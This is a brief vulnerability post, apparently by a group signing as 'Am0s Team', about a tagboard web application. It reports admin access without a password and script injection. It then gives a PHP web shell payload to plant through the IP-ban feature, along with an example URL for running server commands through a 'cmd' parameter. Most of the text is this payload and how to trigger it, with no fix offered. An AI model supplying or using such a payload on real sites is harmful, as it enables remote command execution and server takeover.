There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
But the most vulnerabilitie is in the ban ip's, you can put this script: 
" <? system($cmd) ?> " and execute commands in the server with this url:
Example: http://web.com/tag/admin/banned.php?&cmd=command.


Am0s Team